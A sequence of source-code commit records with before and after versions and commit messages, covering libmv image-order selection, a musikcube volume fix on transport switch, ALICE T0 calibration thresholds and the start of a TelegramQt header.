matches.get_images().begin();\r\n std::set<Matches::ImageID>::const_iterator image_iter2;\r\n image_pair_max_1 = ImagesTypePairs(*matches.get_images().begin(),\r\n *(++matches.get_images().begin()));\r\n vector<Mat> xs2;\r\n \/\/ HACK(julien) we force to keep the first image \r\n \/\/ TODO(julien) implements a better selection\r\n \/\/for (;image_iter1 != matches.get_images().end(); ++image_iter1) {\r\n {\r\n image_iter2 = image_iter1;\r\n image_iter2++;\r\n for (;image_iter2 != matches.get_images().end(); ++image_iter2) {\r\n TwoViewPointMatchMatrices(matches, *image_iter1, *image_iter2, &xs2);\r\n if (xs2[0].cols() >= 4) {\r\n h = HomographyFromCorrespondences4PointRobust(xs2[0], xs2[1], \r\n max_error_h, \r\n &H, NULL, 1e-2);\r\n \/\/ the score is homography x number of matches\r\n \/\/TODO(julien) Actually it should be the median of the homography...\r\n score = h * xs2[0].cols();\r\n i++;\r\n VLOG(1) << \"Score[\"<<i<<\"] = \" << score <<\"\\n\";\r\n if (score > score_max_1) {\r\n score_max_1 = score;\r\n image_pair_max_1 = ImagesTypePairs(*image_iter1, *image_iter2);\r\n VLOG(1) << \" max score found !\\n\";\r\n }\r\n }\r\n }\r\n }\r\n vector<Matches::ImageID> v(matches.NumImages());\r\n if (score_max_1 != 0) {\r\n v[0] = image_pair_max_1.first;\r\n v[1] = image_pair_max_1.second;\r\n i = 2;\r\n } else {\r\n i = 0;\r\n }\r\n \/\/ Fill the rest of images (not ordered)\r\n \/\/ TODO(julien) maybe we can do better than a non ordered list here?\r\n image_iter1 = matches.get_images().begin();\r\n for (;image_iter1 != matches.get_images().end(); ++image_iter1) {\r\n if (score_max_1 == 0 || (*image_iter1 != v[0] && *image_iter1 != v[1])) {\r\n v[i] = *image_iter1;\r\n ++i;\r\n }\r\n }\r\n connected_graph_list->push_back(v);\r\n }\r\n}\r\n} \/\/ namespace libmv\r\n<commit_msg>Add a image order selection method based on a max score selection.<commit_after>\/\/ Copyright (c) 2010 libmv authors.\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to\r\n\/\/ deal in the Software without restriction, including without limitation the\r\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\r\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\r\n\/\/ IN THE SOFTWARE.\r\n\r\n#include <map>\r\n\r\n#include \"libmv\/multiview\/reconstruction_image_order_selection.h\"\r\n#include \"libmv\/multiview\/robust_homography.h\"\r\n\r\nnamespace libmv {\r\n\r\nvoid FillPairwiseMatchesMatrix(const Matches &matches, \r\n Mat *m) {\r\n m->resize(matches.NumImages(),\r\n matches.NumImages());\r\n m->setZero();\r\n std::set<Matches::ImageID>::const_iterator image_iter1 =\r\n matches.get_images().begin();\r\n std::set<Matches::ImageID>::const_iterator image_iter2;\r\n vector<Mat> xs2;\r\n for (;image_iter1 != matches.get_images().end(); ++image_iter1) {\r\n image_iter2 = image_iter1;\r\n image_iter2++;\r\n for (;image_iter2 != matches.get_images().end(); ++image_iter2) {\r\n TwoViewPointMatchMatrices(matches, *image_iter1, *image_iter2, &xs2);\r\n (*m)(*image_iter1, *image_iter2) = xs2[0].cols();\r\n }\r\n }\r\n}\r\n\r\nvoid FillPairwiseMatchesHomographyMatrix(const Matches &matches, \r\n Mat *m) {\r\n m->resize(matches.NumImages(),\r\n matches.NumImages());\r\n m->setZero();\r\n double h, max_error_h = 1;\r\n Mat3 H;\r\n std::set<Matches::ImageID>::const_iterator image_iter1 =\r\n matches.get_images().begin();\r\n std::set<Matches::ImageID>::const_iterator image_iter2;\r\n vector<Mat> xs2;\r\n for (;image_iter1 != matches.get_images().end(); ++image_iter1) {\r\n image_iter2 = image_iter1;\r\n image_iter2++;\r\n for (;image_iter2 != matches.get_images().end(); ++image_iter2) {\r\n TwoViewPointMatchMatrices(matches, *image_iter1, *image_iter2, &xs2);\r\n (*m)(*image_iter1, *image_iter2) = xs2[0].cols();\r\n if (xs2[0].cols() >= 4) {\r\n h = HomographyFromCorrespondences4PointRobust(xs2[0], xs2[1], \r\n max_error_h, \r\n &H, NULL, 1e-2);\r\n (*m)(*image_iter1, *image_iter2) *= h;\r\n }\r\n }\r\n }\r\n}\r\n\r\nbool AddIndex(int id, vector<uint> *id_ordered) {\r\n for (uint i = 0; i < id_ordered->size() ;++i) {\r\n if ((*id_ordered)[i] == id) {\r\n return false;\r\n }\r\n }\r\n id_ordered->push_back(id);\r\n return true;\r\n}\r\n\r\nvoid RecursivePairwiseHighScoresSearch(Mat &m, \r\n const Vec2i seed, \r\n vector<uint> *id_ordered) { \r\n double val_c, val_r;\r\n Vec2i max_c, max_r;\r\n int nothing;\r\n \/\/ Set to zero (to avoid to get the same couple)\r\n m(seed[0], seed[1]) = 0;\r\n \r\n \/\/ Find the best score for the col\r\n val_c = m.col(seed[1]).maxCoeff(&max_c[0], ¬hing);\r\n max_c[1] = seed[1];\r\n \/\/ Find the best score for the row\r\n val_r = m.row(seed[0]).maxCoeff(¬hing, &max_r[1]);\r\n max_r[0] = seed[0];\r\n \r\n if (val_c > 0) \r\n m(max_c[0], max_c[1]) = 0;\r\n if (val_r > 0) \r\n m(max_r[0], max_r[1]) = 0;\r\n \r\n if (val_c < val_r) {\r\n if (val_r > 0) {\r\n AddIndex(max_r[1], id_ordered);\r\n RecursivePairwiseHighScoresSearch(m, max_r, id_ordered);\r\n }\r\n if (val_c > 0) {\r\n AddIndex(max_c[0], id_ordered);\r\n RecursivePairwiseHighScoresSearch(m, max_c, id_ordered);\r\n }\r\n } else {\r\n if (val_c > 0) {\r\n AddIndex(max_c[0], id_ordered);\r\n RecursivePairwiseHighScoresSearch(m, max_c, id_ordered);\r\n }\r\n if (val_r > 0){\r\n AddIndex(max_r[1], id_ordered);\r\n RecursivePairwiseHighScoresSearch(m, max_r, id_ordered);\r\n }\r\n }\r\n}\r\n\r\nvoid RecoverOrderFromPairwiseHighScores(\r\n const Matches &matches,\r\n Mat &m, \r\n std::list<vector<Matches::ImageID> > *connected_graph_list) {\r\n \/\/connected_graph_list->clear();\r\n std::map<uint, Matches::ImageID> map_img_ids;\r\n std::set<Matches::ImageID>::const_iterator image_iter1 =\r\n matches.get_images().begin();\r\n uint i_img = 0;\r\n for (;image_iter1 != matches.get_images().end(); ++image_iter1, ++i_img) {\r\n map_img_ids[i_img] = *image_iter1;\r\n }\r\n \r\n Vec2i max;\r\n double val = 1;\r\n while (val > 0) {\r\n \/\/ Find the global best score\r\n val = m.maxCoeff(&max[0], &max[1]);\r\n \/\/From this seed, find the second best score in the same col\/row\r\n if (val > 0) {\r\n vector<uint> id_ordered;\r\n id_ordered.push_back(max[0]);\r\n id_ordered.push_back(max[1]);\r\n RecursivePairwiseHighScoresSearch(m, max, &id_ordered); \r\n vector<Matches::ImageID> v_ids(id_ordered.size());\r\n for (i_img = 0; i_img < id_ordered.size(); ++i_img) {\r\n v_ids[i_img] = (map_img_ids[id_ordered[i_img]]);\r\n }\r\n connected_graph_list->push_back(v_ids);\r\n }\r\n }\r\n}\r\n\r\n\r\nvoid SelectEfficientImageOrder(\r\n const Matches &matches, \r\n std::list<vector<Matches::ImageID> >*connected_graph_list) {\r\n Mat m;\r\n FillPairwiseMatchesHomographyMatrix(matches, &m);\r\n std::cout << \" M = \" << m <<\"\\n\";\r\n RecoverOrderFromPairwiseHighScores(matches, m, connected_graph_list);\r\n}\r\n\r\n} \/\/ namespace libmv<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2007-2016 musikcube team\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of the author nor the names of other contributors may\n\/\/ be used to endorse or promote products derived from this software\n\/\/ without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <stdafx.h>\n\n#include \"MasterTransport.h\"\n\n#include <core\/audio\/GaplessTransport.h>\n#include <core\/audio\/CrossfadeTransport.h>\n#include <core\/support\/Preferences.h>\n#include <core\/support\/PreferenceKeys.h>\n\nusing namespace musik::box::audio;\nusing namespace musik::core::audio;\nusing namespace musik::core;\nusing namespace musik::core::prefs;\nusing namespace musik::core::sdk;\n\nMasterTransport::MasterTransport()\n: prefs(Preferences::ForComponent(components::Playback)) {\n this->type = (Type) this->prefs->GetInt(keys::Transport, Gapless);\n this->SwitchTo(this->type);\n}\n\nMasterTransport::~MasterTransport() {\n\n}\n\nvoid MasterTransport::SwitchTo(Type type) {\n if (!this->transport || this->type != type) {\n this->type = type;\n this->prefs->SetInt(keys::Transport, (int) this->type);\n\n switch (this->type) {\n case Gapless:\n this->transport.reset(new GaplessTransport());\n break;\n\n case Crossfade:\n this->transport.reset(new CrossfadeTransport());\n break;\n }\n\n this->transport->PlaybackEvent.connect(\n this, &MasterTransport::OnPlaybackEvent);\n\n this->transport->StreamEvent.connect(\n this, &MasterTransport::OnStreamEvent);\n\n this->transport->TimeChanged.connect(\n this, &MasterTransport::OnTimeChanged);\n\n this->transport->VolumeChanged.connect(\n this, &MasterTransport::OnVolumeChanged);\n }\n}\n\nMasterTransport::Type MasterTransport::GetType() {\n return this->type;\n}\n\nvoid MasterTransport::PrepareNextTrack(const std::string& trackUrl) {\n this->transport->PrepareNextTrack(trackUrl);\n}\n\nvoid MasterTransport::Start(const std::string& trackUrl) {\n this->transport->Start(trackUrl);\n}\n\nvoid MasterTransport::Stop() {\n this->transport->Stop();\n}\n\nbool MasterTransport::Pause() {\n return this->transport->Pause();\n}\n\nbool MasterTransport::Resume() {\n return this->transport->Resume();\n}\n\ndouble MasterTransport::Position() {\n return this->transport->Position();\n}\n\nvoid MasterTransport::SetPosition(double seconds) {\n this->transport->SetPosition(seconds);\n}\n\ndouble MasterTransport::Volume() {\n return this->transport->Volume();\n}\n\nvoid MasterTransport::SetVolume(double volume) {\n this->transport->SetVolume(volume);\n}\n\ndouble MasterTransport::GetDuration() {\n return this->transport->GetDuration();\n}\n\nbool MasterTransport::IsMuted() {\n return this->transport->IsMuted();\n}\n\nvoid MasterTransport::SetMuted(bool muted) {\n this->transport->SetMuted(muted);\n}\n\nvoid MasterTransport::ReloadOutput() {\n this->transport->ReloadOutput();\n}\n\nPlaybackState MasterTransport::GetPlaybackState() {\n return this->transport->GetPlaybackState();\n}\n\nvoid MasterTransport::OnStreamEvent(int type, std::string url) {\n this->StreamEvent(type, url);\n}\n\nvoid MasterTransport::OnPlaybackEvent(int type) {\n this->PlaybackEvent(type);\n}\n\nvoid MasterTransport::OnVolumeChanged() {\n this->VolumeChanged();\n}\n\nvoid MasterTransport::OnTimeChanged(double time) {\n this->TimeChanged(time);\n}<commit_msg>A small bugfix to restore volume after switching transports.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2007-2016 musikcube team\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of the author nor the names of other contributors may\n\/\/ be used to endorse or promote products derived from this software\n\/\/ without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <stdafx.h>\n\n#include \"MasterTransport.h\"\n\n#include <core\/audio\/GaplessTransport.h>\n#include <core\/audio\/CrossfadeTransport.h>\n#include <core\/support\/Preferences.h>\n#include <core\/support\/PreferenceKeys.h>\n\nusing namespace musik::box::audio;\nusing namespace musik::core::audio;\nusing namespace musik::core;\nusing namespace musik::core::prefs;\nusing namespace musik::core::sdk;\n\nMasterTransport::MasterTransport()\n: prefs(Preferences::ForComponent(components::Playback)) {\n this->type = (Type) this->prefs->GetInt(keys::Transport, Gapless);\n this->SwitchTo(this->type);\n}\n\nMasterTransport::~MasterTransport() {\n\n}\n\nvoid MasterTransport::SwitchTo(Type type) {\n if (!this->transport || this->type != type) {\n this->type = type;\n this->prefs->SetInt(keys::Transport, (int) this->type);\n\n double volume = this->transport ? this->transport->Volume() : -1;\n\n switch (this->type) {\n case Gapless:\n this->transport.reset(new GaplessTransport());\n break;\n\n case Crossfade:\n this->transport.reset(new CrossfadeTransport());\n break;\n }\n\n if (volume > 0) {\n this->transport->SetVolume(volume);\n }\n\n this->transport->PlaybackEvent.connect(\n this, &MasterTransport::OnPlaybackEvent);\n\n this->transport->StreamEvent.connect(\n this, &MasterTransport::OnStreamEvent);\n\n this->transport->TimeChanged.connect(\n this, &MasterTransport::OnTimeChanged);\n\n this->transport->VolumeChanged.connect(\n this, &MasterTransport::OnVolumeChanged);\n }\n}\n\nMasterTransport::Type MasterTransport::GetType() {\n return this->type;\n}\n\nvoid MasterTransport::PrepareNextTrack(const std::string& trackUrl) {\n this->transport->PrepareNextTrack(trackUrl);\n}\n\nvoid MasterTransport::Start(const std::string& trackUrl) {\n this->transport->Start(trackUrl);\n}\n\nvoid MasterTransport::Stop() {\n this->transport->Stop();\n}\n\nbool MasterTransport::Pause() {\n return this->transport->Pause();\n}\n\nbool MasterTransport::Resume() {\n return this->transport->Resume();\n}\n\ndouble MasterTransport::Position() {\n return this->transport->Position();\n}\n\nvoid MasterTransport::SetPosition(double seconds) {\n this->transport->SetPosition(seconds);\n}\n\ndouble MasterTransport::Volume() {\n return this->transport->Volume();\n}\n\nvoid MasterTransport::SetVolume(double volume) {\n this->transport->SetVolume(volume);\n}\n\ndouble MasterTransport::GetDuration() {\n return this->transport->GetDuration();\n}\n\nbool MasterTransport::IsMuted() {\n return this->transport->IsMuted();\n}\n\nvoid MasterTransport::SetMuted(bool muted) {\n this->transport->SetMuted(muted);\n}\n\nvoid MasterTransport::ReloadOutput() {\n this->transport->ReloadOutput();\n}\n\nPlaybackState MasterTransport::GetPlaybackState() {\n return this->transport->GetPlaybackState();\n}\n\nvoid MasterTransport::OnStreamEvent(int type, std::string url) {\n this->StreamEvent(type, url);\n}\n\nvoid MasterTransport::OnPlaybackEvent(int type) {\n this->PlaybackEvent(type);\n}\n\nvoid MasterTransport::OnVolumeChanged() {\n this->VolumeChanged();\n}\n\nvoid MasterTransport::OnTimeChanged(double time) {\n this->TimeChanged(time);\n}<|endoftext|>"} {"text":"<commit_before>\/**************************************************************************\n * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * *\n * Author: The ALICE Off-line Project. *\n * Contributors are mentioned in the code where appropriate. *\n * *\n * Permission to use, copy, modify and distribute this software and its *\n * documentation strictly for non-commercial purposes is hereby granted *\n * without fee, provided that the above copyright notice appears in all *\n * copies and that both the copyright notice and this permission notice *\n * appear in the supporting documentation. The authors make no claims *\n * about the suitability of this software for any purpose. It is *\n * provided \"as is\" without express or implied warranty. *\n **************************************************************************\/\n\n\/* $Id$ *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ class for T0 calibration TM-AC-AM_6-02-2006 \n\/\/ equalize time shift for each time CFD channel\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"AliT0CalibTimeEq.h\"\n#include \"AliLog.h\"\n#include <TFile.h>\n#include <TMath.h>\n#include <TF1.h>\n#include <TSpectrum.h>\n#include <TProfile.h>\n#include <iostream>\n\nClassImp(AliT0CalibTimeEq)\n\n\/\/________________________________________________________________\n AliT0CalibTimeEq::AliT0CalibTimeEq():TNamed(),\n\t\t\t\t fMeanVertex(0), \n\t\t\t\t fRmsVertex(0) \n{\n \/\/\n\n}\n\n\/\/________________________________________________________________\nAliT0CalibTimeEq::AliT0CalibTimeEq(const char* name):TNamed(),\n\t\t\t\t fMeanVertex(0), \n\t\t\t\t fRmsVertex(0) \n{\n \/\/constructor\n\n TString namst = \"Calib_\";\n namst += name;\n SetName(namst.Data());\n SetTitle(namst.Data());\n}\n\n\/\/________________________________________________________________\nAliT0CalibTimeEq::AliT0CalibTimeEq(const AliT0CalibTimeEq& calibda):TNamed(calibda),\t\t\n\t\t\t\t fMeanVertex(0), \n\t\t\t\t fRmsVertex(0) \n{\n\/\/ copy constructor\n SetName(calibda.GetName());\n SetTitle(calibda.GetName());\n\n\n}\n\n\/\/________________________________________________________________\nAliT0CalibTimeEq &AliT0CalibTimeEq::operator =(const AliT0CalibTimeEq& calibda)\n{\n\/\/ assignment operator\n SetName(calibda.GetName());\n SetTitle(calibda.GetName());\n \n return *this;\n}\n\n\/\/________________________________________________________________\nAliT0CalibTimeEq::~AliT0CalibTimeEq()\n{\n \/\/\n \/\/ destrictor\n}\n\/\/________________________________________________________________\nvoid AliT0CalibTimeEq::Reset()\n{\n \/\/reset values\n\n memset(fCFDvalue,0,120*sizeof(Float_t));\n memset(fTimeEq,1,24*sizeof(Float_t));\n}\n\n\n\/\/________________________________________________________________\nvoid AliT0CalibTimeEq::Print(Option_t*) const\n{\n \/\/ print time values\n\n printf(\"\\n\t----\tPM Arrays\t----\\n\\n\");\n printf(\" Time delay CFD \\n\");\n for (Int_t i=0; i<24; i++) printf(\" CFD %f \",fTimeEq[i]);\n printf(\"\\n Mean Vertex %f \\n\", fMeanVertex);\n} \n\n\n\/\/________________________________________________________________\nBool_t AliT0CalibTimeEq::ComputeOnlineParams(const char* filePhys)\n{\n \/\/ compute online equalized time\n Double_t mean=0, meanver=0;\n Double_t rms=0, rmsver=0;\n Int_t nent=0;\n Bool_t ok=false;\n gFile = TFile::Open(filePhys);\n if(!gFile) {\n AliError(\"No input PHYS data found \");\n }\n else\n {\n ok=true;\n Char_t buf1[30];\n for (Int_t i=0; i<24; i++)\n\t{\n\t sprintf(buf1,\"CFD1-CFD%d\",i+1);\n\t TH1F *cfd = (TH1F*) gFile->Get(buf1);\n\t if(!cfd) AliWarning(Form(\"no histograms collected by PHYS DA for channel %i\", i));\n\t \/\/ printf(\" i = %d buf1 = %s\\n\", i, buf1);\n\t if(cfd) {\n\t mean=cfd->GetMean();\n\t rms=cfd->GetRMS();\n\t nent=cfd->GetEntries();\n\t \/\/\t printf (\"%f %f %i \\n\",mean,rms,nent);\n\t if(nent<50 || rms>10 ) ok=false;\n\t }\n\t SetTimeEq(i,mean);\n\t SetTimeEqRms(i,rms);\n\t if (cfd) delete cfd;\n\t}\n TH1F *ver = (TH1F*) gFile->Get(\"hVertex\");\n if(!ver) AliWarning(\"no Vertex histograms collected by PHYS DA for Zvertex\");\n if(ver) {\n\tmeanver = ver->GetMean();\n\trmsver = ver->GetRMS();\n }\n SetMeanVertex(meanver);\n SetRmsVertex(rmsver);\n \n gFile->Close();\n delete gFile;\n\n }\n return ok; \n}\n\n\n<commit_msg>more protection for small number of entries<commit_after>\/**************************************************************************\n * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * *\n * Author: The ALICE Off-line Project. *\n * Contributors are mentioned in the code where appropriate. *\n * *\n * Permission to use, copy, modify and distribute this software and its *\n * documentation strictly for non-commercial purposes is hereby granted *\n * without fee, provided that the above copyright notice appears in all *\n * copies and that both the copyright notice and this permission notice *\n * appear in the supporting documentation. The authors make no claims *\n * about the suitability of this software for any purpose. It is *\n * provided \"as is\" without express or implied warranty. *\n **************************************************************************\/\n\n\/* $Id$ *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ class for T0 calibration TM-AC-AM_6-02-2006 \n\/\/ equalize time shift for each time CFD channel\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"AliT0CalibTimeEq.h\"\n#include \"AliLog.h\"\n#include <TFile.h>\n#include <TMath.h>\n#include <TF1.h>\n#include <TSpectrum.h>\n#include <TProfile.h>\n#include <iostream>\n\nClassImp(AliT0CalibTimeEq)\n\n\/\/________________________________________________________________\n AliT0CalibTimeEq::AliT0CalibTimeEq():TNamed(),\n\t\t\t\t fMeanVertex(0), \n\t\t\t\t fRmsVertex(0) \n{\n \/\/\n\n}\n\n\/\/________________________________________________________________\nAliT0CalibTimeEq::AliT0CalibTimeEq(const char* name):TNamed(),\n\t\t\t\t fMeanVertex(0), \n\t\t\t\t fRmsVertex(0) \n{\n \/\/constructor\n\n TString namst = \"Calib_\";\n namst += name;\n SetName(namst.Data());\n SetTitle(namst.Data());\n}\n\n\/\/________________________________________________________________\nAliT0CalibTimeEq::AliT0CalibTimeEq(const AliT0CalibTimeEq& calibda):TNamed(calibda),\t\t\n\t\t\t\t fMeanVertex(0), \n\t\t\t\t fRmsVertex(0) \n{\n\/\/ copy constructor\n SetName(calibda.GetName());\n SetTitle(calibda.GetName());\n\n\n}\n\n\/\/________________________________________________________________\nAliT0CalibTimeEq &AliT0CalibTimeEq::operator =(const AliT0CalibTimeEq& calibda)\n{\n\/\/ assignment operator\n SetName(calibda.GetName());\n SetTitle(calibda.GetName());\n \n return *this;\n}\n\n\/\/________________________________________________________________\nAliT0CalibTimeEq::~AliT0CalibTimeEq()\n{\n \/\/\n \/\/ destrictor\n}\n\/\/________________________________________________________________\nvoid AliT0CalibTimeEq::Reset()\n{\n \/\/reset values\n\n memset(fCFDvalue,0,120*sizeof(Float_t));\n memset(fTimeEq,1,24*sizeof(Float_t));\n}\n\n\n\/\/________________________________________________________________\nvoid AliT0CalibTimeEq::Print(Option_t*) const\n{\n \/\/ print time values\n\n printf(\"\\n\t----\tPM Arrays\t----\\n\\n\");\n printf(\" Time delay CFD \\n\");\n for (Int_t i=0; i<24; i++) printf(\" CFD %f \",fTimeEq[i]);\n printf(\"\\n Mean Vertex %f \\n\", fMeanVertex);\n} \n\n\n\/\/________________________________________________________________\nBool_t AliT0CalibTimeEq::ComputeOnlineParams(const char* filePhys)\n{\n \/\/ compute online equalized time\n Double_t mean=0, meanver=0;\n Double_t rms=0, rmsver=0;\n Int_t nent=0;\n Bool_t ok=false;\n gFile = TFile::Open(filePhys);\n if(!gFile) {\n AliError(\"No input PHYS data found \");\n }\n else\n {\n ok=true;\n Char_t buf1[30];\n for (Int_t i=0; i<24; i++)\n\t{\n\t sprintf(buf1,\"CFD1-CFD%d\",i+1);\n\t TH1F *cfd = (TH1F*) gFile->Get(buf1);\n\t if(!cfd) AliWarning(Form(\"no histograms collected by PHYS DA for channel %i\", i));\n\t \/\/ printf(\" i = %d buf1 = %s\\n\", i, buf1);\n\t if(cfd) {\n\t mean=cfd->GetMean();\n\t rms=cfd->GetRMS();\n\t nent=cfd->GetEntries();\n\t \/\/\t printf (\"%f %f %i \\n\",mean,rms,nent);\n\t if(nent<200 || rms>10 ) ok=false;\n\t }\n\t SetTimeEq(i,mean);\n\t SetTimeEqRms(i,rms);\n\t if (cfd) delete cfd;\n\t}\n TH1F *ver = (TH1F*) gFile->Get(\"hVertex\");\n if(!ver) AliWarning(\"no Vertex histograms collected by PHYS DA for Zvertex\");\n if(ver) {\n\tmeanver = ver->GetMean();\n\trmsver = ver->GetRMS();\n }\n SetMeanVertex(meanver);\n SetRmsVertex(rmsver);\n \n gFile->Close();\n delete gFile;\n\n }\n return ok; \n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright (C) 2018 Alexandr Akulich <akulichalexander@gmail.com>\n\n This file is a part of TelegramQt library.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n *\/\n\n#ifndef TELEGRAM_QT_API_UTILS_HPP\n#define TELEGRAM_QT_API_UTILS_HPP\n\n#include \"telegramqt_global.h\"\n\n#include 